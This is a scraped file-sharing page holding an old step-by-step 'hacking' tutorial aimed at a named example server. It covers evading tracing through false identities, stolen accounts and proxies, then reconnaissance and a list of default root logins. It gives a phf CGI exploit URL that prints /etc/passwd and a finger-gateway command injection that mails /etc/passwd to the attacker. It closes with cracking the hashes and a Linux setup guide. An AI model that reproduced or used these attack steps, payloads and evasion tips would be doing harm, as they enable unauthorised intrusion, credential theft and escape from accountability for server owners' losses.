Hacking In Telnet Ftp

  • November 2019
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Hacking In Telnet Ftp as PDF for free.

More details

  • Words: 5,192
  • Pages: 15
c c

[i want to start at the start]

[i want to go straight to hacking]

introduction:

a little background is needed before we get into hacking techniques.

when we talk about ‘hacking’, we are talking about getting some access on a server we shouldn’t have. servers are set up so that many people can use them. these people each have different ‘accounts’ on the server – like different directories that belong just to them. if fred has an account with the froggy.com.au isp (internet service provider), he will be given: (1) a login name, which is like the name of your directory; and (2) a password, which lets you get access to that directory.

this login name and password will usually give you access to all of fred’s services - his mail, news services and web pages. there is also the ‘root’ account, which has it’s own login and password. this gives super-user access to the entire server. we will focus on ‘getting root’, in this help file.

[ok, i want to move to the 'anatomy of the hack'] [i know all this, let me move straight to hacking]

[ i don't have a clue what you're on about, let me read some backgroundon this so called "internet" you keep referring to ]

the anatomy of the 'hack':

there are two main ways to break into a system. think of a server as a swiss bank vault. there are two main ways to get in. you can try to get in by finding the combination of the vault. this is like finding the password. it’s how you are meant to get in. the second way is by using dynamite. you forget all about the ‘proper’ way to get in. this is like using ‘exploits’, or weaknesses in the servers operating system to gain access.

[ok, let's go. tell me about not getting caught]

[stuff it, i know how to not get caught, on to the techniques!]

'don't get caught': hacking is illegal, and it is very easy to trace you if froggy.com.au realizes you hacked them. wherever you go, your ip number (your computer’s unique identification) is left and often logged. solutions: 1. when you set up your account with an isp, give a false name and address.

c c

[nah, i can't be bothered, what other things can i do?] [ok, i used this trick. what else can i do?]

[stuff it, i know how to not get caught, on to the techniques!]

'don't get caught':

2. hack using a filched account (stolen password, etc.). a tool called dripper can steal passwords for you from public net cafes and libraries.

[nah, just tell me something easy i can do right now] [ok, done. anything else i should do?]

'don't get caught':

3. port your connection through something else.

an easy way to do this is to change your proxy settings. by using the proxy settings meant for a different isp, it can look like you are surfing from wherever that isp is. a list of proxies you can use is here . you should also do any important info gathering through the ip jamming applet on the cyberarmy.com to hide your ip.

if you want super anonymity, you should be surfing in an account you set up under a false name, with your proxy settings changed, and also surfing through the ip jamming applet! be aware that some isps could use caller id to test the number of someone logging on. dial the relevant code to disable caller id before calling your isp.

[i don't understand about the proxy settings thing, let me read more ]

[ok, i am wired for hyper stealth... now, i want to hack!]

info gathering: to start off, you will probably need to gather information about www.froggy.com.au using internet tools.

c c [ok, how?]

[give me some reading to do about info gathering ]

[no, i've already got all the info, just tell me what to do]

dirt digging stage:

we are now taking the first steps of any hack... info gathering.

you should be set up for stealth mode. get a notepad, and open a new browser window (through the ip jammer). bring the www.froggy.com.au 's web page up in the ip jammer's window. you can load the ip jamming applet on the cyberarmy.com .

[ok, what now?]

case the joint:

1. first, check out the site. take down any email addresses, copy down the html of important pages.

[done... what else?]

the old bouncing mail trick:

2. send a mail that will bounce to the site. if the site is www.froggy.com.au , send a mail to [email protected] . it will bounce back to you and give you information in its header. copy the information from the headers down.

(to maintain anonymity, it might be a good idea to send and receive the mail from a free web based provider, such as hotmail.com. use full stealth features when sending the bouncing mail. this will protect you when they check through the logs after they are hacked.)

c c c

[done... what else?]

traceroute:

3. still using stealth features, traceroute froggy.com.au . this traceroute search is avaliable from the hacker's home page, in the net tools section. this will tell you the upstream provider of the victim server.

tools

[ok, what next?]

whois:

3. still using stealth features, whois the site. this whois search is avaliable from the hacker's home page, in the net tools section. this will give you information on the owners and servers that run the site. write it down.

tools

[ok, what next?]

give 'em the finger:

4. finger the site. use this finger service at cyberarmy.com to check the site. try fingering just with “finger @froggy.com.au ” first. this sometimes tells you the names of all accounts. if this does not work, try fingering any email addresses you found on the site, and through whois. this will sometimes give you useful information.

finger

@

[ok, what next?]

the deadly port scan: 5. now, we're about to get rough on the site. port scan the site. port scanning checks for all open ports for an ip. it is extremely useful, however, it practially screams to the webmaster's of the victim site that they are in the middle of being hacked. the is basically no legitimate reason to port scan a site unless you are about to hack it. there are no very good ways to hide a port scan, but there are a few semi-stealthy port scanners. most are only for linux / unix systems. however, the exploit generator for windows is one that claims to be stealthy. however, if you are trying to enter a very secure site, perhaps forget about port scanning for now, unless you are running linux. though, port scan will tell you all the services a site is running. if port 21 is open, it means they have an ftp server. if port 23 is open, it means they have telnet.

c c [ok, what next?]

telnetting:

5. the aim of telnetting to the site is basically to try and find out the server type. while your browser is in stealth mode, use the anonymous telnet applet in the cyberarmy.com to open a telnet window.

telnet to the site to port 23. usually, if the address is “www.froggy.com.au ”, try telnetting to "froggy.com.au ". if this does not work, try to telnet to telnet.froggy.com.au or try telnetting to any of the sites listed as name servers in your previous whois search. once you have got access, note any information it gives you, such as server type.

[this worked - i got the server type!] [none of that worked...]

telnetting:

now change the telnet to port 21. this should send you straight in to the server's ftp port. if this works, try typing syst to find out what server type it is.

[this worked - i got the server type!] [none of that worked...]

telnetting: now, if you are lucky, try telnetting to port 80, the http port. note if this gives you any information.

c c c

[this worked - i got the server type!] [none of that worked...]

running lame programs:

you *need* to know the server type to have any hope of hacking the thing. how do you expect to run exploits against it if you cant even figure out what you're dealing with here? a final resort is to run a program called whats running? it doesn't work very well, but will sometimes tell you the server type. it will also probably be logged by the victim server.

if that doesn't work, do anything to find the server type. even write them an e-mail asking what operating system they're running.

[ok, i've got the info... now i want access!]

hacking through the password:

we will now try to go through the front door of the server. as to our analogy, we are trying to find the combination of the safe.

[ok, i want root!]

[nah, i already know this server will need exploits]

easy things first:

you would kick yourselves if ya spent weeks trying advanced hacking with exploits, ip spoofing and social engineering, just to find that we could have got in by using: $login: root $password: root

so, let’s just try this first and get it out of the way. unix comes set up with some default passwords, and sometimes these are not changed. so, we telnet to froggy.com.au . don’t use your usual telnet program. unless you are using a filched or anonymous account, it will show your ip address to froggy.com.au . with your proxies changed, and everything set for stealth, switch back to the anonymous telnet window. then try the following accounts and passwords: account: password (login) root: (password)root sys: sys / system / bin bin: sys / bin mountfsys: mountfsys adm: adm uucp: uucp nuucp: anon anon: anon user: user games: games install: install demo: demo umountfsys: umountfsys sync: sync admin: admin guest: guest daemon: daemon the accounts root, mountfsys, umountfsys, install, and sometimes sync are root level accounts, meaning they have sysop power, or total power. other logins are just "user level" logins meaning they only have power over what files/processes they own.

c

[nup... didn't think it would work]

[incredible... that lame trick actually worked!]

using the login names:

still simple things first. about 1 in 20 people are stupid enough to have the same login name and password. with your list of all the email addresses or finger information you dug from the site, try this.

for example, if the web site made a reference to [email protected] , try logging in (through telnet or a ftp program to their server) as: $login: fred $password: fred

do this with all the names you have found - you might get lucky.

did this work?

c c

[nah, they had some baddass security, didn't work]

[oh, golly gee... i got access to one of the accounts!]

getting the passwd file:

you probably had no luck until now. actually, most hacking techniques only have a slim chance of success. you just try hundreds of slim chances till you get it. assuming you were trying to log in on a unix system, you may have been wondering how unix checks to see whether the passwords you gave were correct or not. there is a file called ‘passwd’ on each unix system which has all the passwords for each user. so, if we can’t guess the passwords, we will now try to rip this file and decrypt it.

[make it so, number 1]

ancient chinese ftp method:

your browser should be set to use the fake proxies. we will keep using this browser to ftp, because it cannot be easily traced, whereas something like cuteftp can be traced to you because it can't use proxies. if in your port scan, you found an opne port 21, its a pretty good indication that they run an ftp server. using your stealth browser, try to ftp to froggy.com.au . example: ftp://froggy.com.au

if that does not work, try to ftp to ftp.froggy.com.au . example: ftp://ftp.froggy.com.au

if that does not work, try to ftp to the domain name servers listed when you did your whois search. example: ftp://ns1.froggy.com.au

[ok, i'm in]

[nah, stupid thing won't let me in]

ancient chinese ftp method:

now you are connected to froggy.com.au ’s ftp server, click on their \etc directory. you should see a file called ‘passwd’ and maybe a file called ‘group’. download the ‘passwd’

file, and look at it. if it looks like this when you open it, you are in luck: root:2fkbnba29uwys:0:1:operator:/:/bin/csh admin:ryskmjnvrppro:100:11:www administrator:/home/common/www:/bin/csh kangaroo:3a62i9qr:1012:10:hisaharu [etc.] for example, we know a login is “kangaroo” and their encrypted password is “3a62i9qr”. note this is not their password, but an encrypted form of their password. or, did it look more like this: root:*:0:1:operator:/:/bin/csh admin:*:100:11:www administrator:/home/common/www:/bin/csh kangaroo:*:1012:10:hisaharu tanaka:/home/user/kangaroo:/usr/local/bin/tcsh is the second, encrypted password, section replaced by *’s or x’s? this is bad – it is called a shadowed password and cannot be decrypted. this is how most passwd files are now days. however, if you got a passwd file which has some non-shadowed entries, you can put your hand to decrypting it.

c

[nah, it was all shadowed]

[nah, couldn't find the passwd file in the first place] [yes! i think i got some non-shadowed passwords]

decrypting passwd files:

there are a few programs around which were written to decrypt unix passwd files. the most famous one was called ‘cracker jack’. many ‘hacking’ texts strongly recommend this file – but they are mostly talking rubbish. its old and most systems will just crash when they try to run it, as it uses weird memory allocation.

the best unix cracker around is currently called 'john the ripper 1.5’. it is readily avaliable. it was only written in the last year or so, and is a lot faster than cracker jack ever was. john the ripper was also designed with pentiums in mind, and the brute force techique used is genius. but you have to go down to dos to use it.

you will also need a large ‘wordfile’, with every english word. bigger the better. the crack programs test every word in the wordfile against the passwd file. if the wordfile is big enough, you have a good chance of getting a password.

[yes! i got me some decrypted passwords!] [nah, the encryption was too good]

[give me some reading about all the different password crackers, where to find them, etc. ]

the old-style phf technique: although most servers have now trashed a program called phf, let's just make sure... it is is working, it lets you get the passwd file remotely, even if it is inside hidden and root access only directories. in the overlord anonymizer, type: http://www.froggy.com.au /cgi-bin/phf?qalias=x%0a/bin/cat%20/etc/passwd.

overlord anonymize r if phf is active (often not), this string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it. now, if you see the words 'smile! you're on candid camera!', it means that the server is protected against this hack, and has logged your ip. but don't worry. so long as you were using the anonymizer, you are safe.

c

[nah, they fixed that phf bug problem]

[yes! i got me some encrypted passwords!]

finger box hacking:

finger servers are hacker's friends. let's find out whether www.froggy.com.au has a finger server.

in the anonymizer, assuming that the server's name starts with www, type www.froggy.com.au /cgi-bin/finger overlord anonymizer

if the finger gateway is operational a box should appear for you to enter the name you want to finger. if it is operational you have another chance to receive the etc/passwd file. okay, 1/ get your list of e-mail addresses you found for the site (let's pretend one of them is "[email protected] ", and that your email address is "[email protected]") 2/ go back to the finger box, and type this in (changing these email addresses for the real ones): [email protected] ; /bin/mail [email protected] < etc/passwd

this takes the passwd file through [email protected] and emails it to your email

address. if this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.

c

[nah, it didn't work]

[yes! i got me some encrypted passwords!]

linux installation

all the above really has given you the basic ideas. to do anything firther, and impliment any real exploits, you will have to put a linux operating system on your computer. below are some instructions on how to quickly and easily install linux on your computer. you can just download the files below for free, and install them in a directory on your ms-dos / windows system! that's right, you dont even have to repartition your hard drive!

okay... i will make this as basic and free as possible. i will assume you are running windows 95 or 98 and have never seen linux before. you have a hard drive with at least 100mb free. youve got a floppy drive, etc. you know how to unzip files. and you dont want to spend any money. luckily, linux is free and easy to set up. 1/ download this file (australia). it's big, like 34mb. but it's all you need. if the site there is overloaded, get it here . 2/ what you have is a version of slackware linux, called zipslack. it's a very simple version of slackware linux to set up. i don't use slackware, and there are some better versions around now - like redhat 5.2. but, it is a good stable version - and, like i say, very simple to download and setup. good for a linux test drive.

3/ ok, make a directory called 'linux' on your hard drive. that's right, with this distro, you dont even have to repartition your drive. it can be on the same hard drive you have windows on! (i told you this would be easy). just make sure its a major directory on your hard drive, like c:\linux - not in a subdirectory anywhere. 4/ now, just unzip all the contents of the zipslack.zip into the right directories, like c:\linux\etc, c:\linux\usr, etc. 5/ now, heres the hardest part. you will have to edit the \linux\linux.bat file. open it in an editor. 6/ you'll need to edit the linux.bat file, and make sure the root=/dev/xxxx points to your hard drive. if you have put it on your main hard drive, you can make the line: \linux\loadlin \linux\vmlinuz root=/dev/hda1 (hda1 means the ide1 master hdd) i have linux on my drive d: (the ide2 master hdd), and for me the line would be: \linux\loadlin \linux\vmlinuz root=/dev/hdc1 7/ if you are unsure, the linux.bat file has a long list of examples. just guess. if you get it wrong, you'll still be able to use scrollback (right shift key and pageup) when the kernel halts to go back and look at your partitions, noting the names linux gives them. with this information, you should be able to edit the linux.bat correctly.

8/ well, i skipped ahead of myself. you are now (already) ready to boot up your linux system. who said it was hard? 9/ ok, you must go 'shut down' and 'restart in ms-dos mode'. then just go to the \linux directory ('cd linux') and run linux.bat 10/ the linux system will load itself over ms-dos (though you don't need to load it over dos later you can make a boot-disk so only linux loads). 11/ you will see a whole lot of stuff loading. then you will see a login: prompt. 12/ you have an operating system just like all the big net servers have! 13/ okay, just type in 'root', and you have root access on the system. you will want to give yourself a password, so type 'passwd'. choose something you will remember. without it, you cannot log in. 14/ now you will have a black screen with a # looking at you. dont let that worry you - its just like a ms-dos screen. a few commands for now: 'ls' (like 'dir' in ms-dos), 'cd' (change directory, like dos), 'pico' (an editor, use like 'pico text.txt'), and 'mc' (this is a nice menu program that comes with zipslack). 15/ now, type 'setup'. 16/ setup your mouse, network settings, screen stuff. really easy. just like - 'are you using a 2 button mouse or 3'? easy. 17/ now, if you want net access, through this - type 'pppsetup'. this starts the ppp (point to point protocol) setup. you will need to know all your internet settings, like your gateway, nameserver numbers, etc. if you dont know these, go back to windows and see what values you used from the control panel : internet section. 18/ okay. reboot. your mouse should be working, with some luck. hopefully, your modem will be able to dial. though, often not. if you have a standard external modem on com 2, it is probably okay. otherwise, it's sometimes a pain to configure your modem for linux. 19/ if you are having modem troubles, type 'mc to run the midnight commander. open the 'etc' directory, then 'rc.d', then 'serials.rc'. comment out the auto config section with '#' signs. and go to the manual config section. uncomment /dev/cua0 (com 1:) and /dev/cua1 (com 2:) - or /dev/cua2 or cua3 (com 3: or 4:) for internal modem users. now, from windows, go to accessories:system tools:system information (win 98) to get the irq and port settings for your modem. if you are in win95, i think you have to run something called msd.com in the \windows directory. put these setting in. then, edit s.rc and at the bottom, uncomment the place where it says to call the serials.rc file. 20/ if you have a cd-rom you can also edit s.rc so that it checks for a cd rom during bootup. 21/ all things going well, you should now have a fully functional unix type system on your computer. you can download all your latest little x-crush programs (in .tgz format). to setup software - say a linux stealth port scanner, save the .tgz file in a directory and run 'pkgtool'. then go 'install file'. real easy. if it is a c program, type 'gcc program.c' to compile it. 22/ well, you are missing a windows type interface. you dont need one. but if you want to surf using linux, etc. it is better to have a graphical interface - although you can run a browser called 'lynx' just through the vanilla linux interface. 23/ you can get some things, like x-windows from ftp.cdrom.com/pub/linux/slackware/slakware/x1/ 24/ just get all the files that look vital (about 8 of them), and run pkgtool to install them all.

you will probably find that setting up x-win for the first time is a huge pain. it was for me at least - you need to know, for example, the horizontal and vertical refresh rates of your monitor. then, get something like the linux netscape, or arena as a browser. these run thru xwindows. 25/ you will have fun tweaking everything as you like it. there are dozens of windows interfaces to choose from. some looks almost identical to win95. 26/ where from here? you can now do practically anything - you basically have all the net power your isp does, except for all the phone lines. you can let people use you as a dial up isp, you can host web pages and set up ftp sites to run from your computer. you can set up email addresses, nameservers... anything. 27/ because linux is the same software as most isps run, a lot of hackers use linux. you will be able to issue commands to other servers. you can ask other servers about themselves. for example, type 'showmount -e victim.com'. you can also run things like 'ping', and 'traceroute' directly from your command line. you can send mail from your own sendmail program so that it is untraceable. some last incentives, if you were brought up in the windows world and are afraid of command prompts, just type 'mc'. the zipslack distro comes with this 'midnight commander' - which i use a lot. and play a few games on the things. there are a few old favourites installed by default - like 'trek', and 'adventure', etc. if you were in computers 20 years ago, you will know what i mean. the games directory is in usr/games. if you have got any more problems, there are a lot of people on the irc #linux channel on undernet who are very helpful. if your linux is set up to the net, you can run the linux bitch-x irc program to get there. zipslack also has pine (for email), tin (for newsgroups), and lynx (for surfing). fact is, when you got this all working for a few weeks (and probably loving it), you will no doubt like to try some more advanced linux distros. although there are a lot of personal feelings about various distributions, i recommend redhat 5.2 linux. you will find it very easy to install. if you are happy buying through amazon.com, here is the best linux deal i've been able to find anywhere. it deals with the 3 major linux distributions: red hat, slackware, and debian - with 3 cds. it also contains a very good install guide. all for about half the price of the single 'official' redhat cd. if you like this linux stuff, i recommend you get it - or at least make sure you get a book that is written very recently.[an error occurred while

processing this directive]

[nah, it didn't work] [yes! i got me some encrypted passwords!]

current limit: you have reached the current limit of the tutorials.... i will add further steps when i get the time and if people like these lessons. also, if people want to write sections up for this, just mail the sections to me, to the e-mail address listed at cyberarmy.com.

until this gets bigger, i can suggest a few books that teach hacking. i've found that a lot of books are rubbish and just teach how to change screen colours, but there are a few that every hacker should have in their library. the essential hacker's library: essential books: 1. maximum security : of course, maximum security has to be at number one. i guess this would probably be the central book in any hacker's library. goes through a heap of techniques like a textbook with over 900 pages. 2. the happy hacker : essential for newbies. although this book is bagged a lot by people who hate carolyn, i think most people agree it would be the perfect first book a newbie should read. explains things pretty well, spelling mistakes, but probably an essential newbie primer. thou, as i say, if you know your stuff you can safely forget this one. essential software: 1. linux : you will need to change to linux to do any serious hacking. but thankfully, it is fairly simple and you can just set up linux in a seperate partition on your hard drive and set for a dual boot option: usually windows, and when you are hacking, linux. you amount of 'net power' increases 500%. if you want to buy linux, make sure you get the latest version not an obsolete one. there are also several different 'flavours' of linux, you will probably want to start with redhat, then possibly move to slackware after a year or so. so, make sure you get a deal which gives you the oportunity to check out some of the different distributions. by far the best linux deal i've found around is this one . it has an excellent linux manual, and comes with three seperate linux distributions on 3 cds, including the very latest redhat and slackware. it's also excellent value (about half the price of buying the single 'official' redhat cd). not essential, but recommended books: (these books are mainly just part of the hacker culture) 3. the watchman : the twisted life and crimes of serial hacker kevin poulsen: this one will not teach you anything, so stuff it if you just want to learn. although it was one of the best reads i ever had. more like a thriller book, but it was real! the kevin mitnick books are about the same, but this one deals a lot with phreaking, and scamming radio stations of cars. but, as i say, it doesn't go through any techniques, so stuff it if you just want to learn stuff. 4. the fugitive game : online with kevin mitnick: again, a really fun read (though, i prefer the poulsen book) but it doesn't go through any hacking techniques. but i have to list it here because it is such a good read. it's also a really cheap buy. 5. takedown : the pursuit and capture of kevin mitnick: this is the other side of the mitnick story (written by the cops who chased him). interesting, but the essential mitnick book is the one above. though, this is a very good primer on how the fbi operates to capture hackers. but, again, no techniqes listed. for techniques, you would only have luck in the first two books listed. okay, as for programming books - stuff it. you can download the things for free if you search for "perl + programming + tutorial" and things like that. unless you like printed books, forget

that. so, the only other thing is linux. you will need to have linux as a dual boot option on your pc if you want to do any serious hacking. some books that suck: these are some books that are going around that are a rip-off. secrets of a super hacker : this is another book that a lot of people have. the book seemed like a real waste of time to me. so, keep going through this tutorial as it gets bigger, read anything you find on the web. get some of the major books above, at least 1 and 2, and read them very carefully - four or five times. join your local linux users group, if you have one. and, later on, download a few guides on programming and read through them when you get some time. with some effort (it isn't easy), you can become a respected hacker and take control of the net.

c [back to index]

congratulations: you have gained access.

if you now have the login code and password, you may use the users mail account, ftp priviliges (change their web pages by uploading new ones), and http access.

(if you have only got access to a user level account, do not despair. if you have a user level account, it is easy to use that to later get a root level account. more on this when this study is made bigger).

Related Documents

Hacking In Telnet Ftp
November 2019 5
Ftp-hacking Tutorial
November 2019 7
Telnet
June 2020 23
Telnet
June 2020 22
Telnet
June 2020 15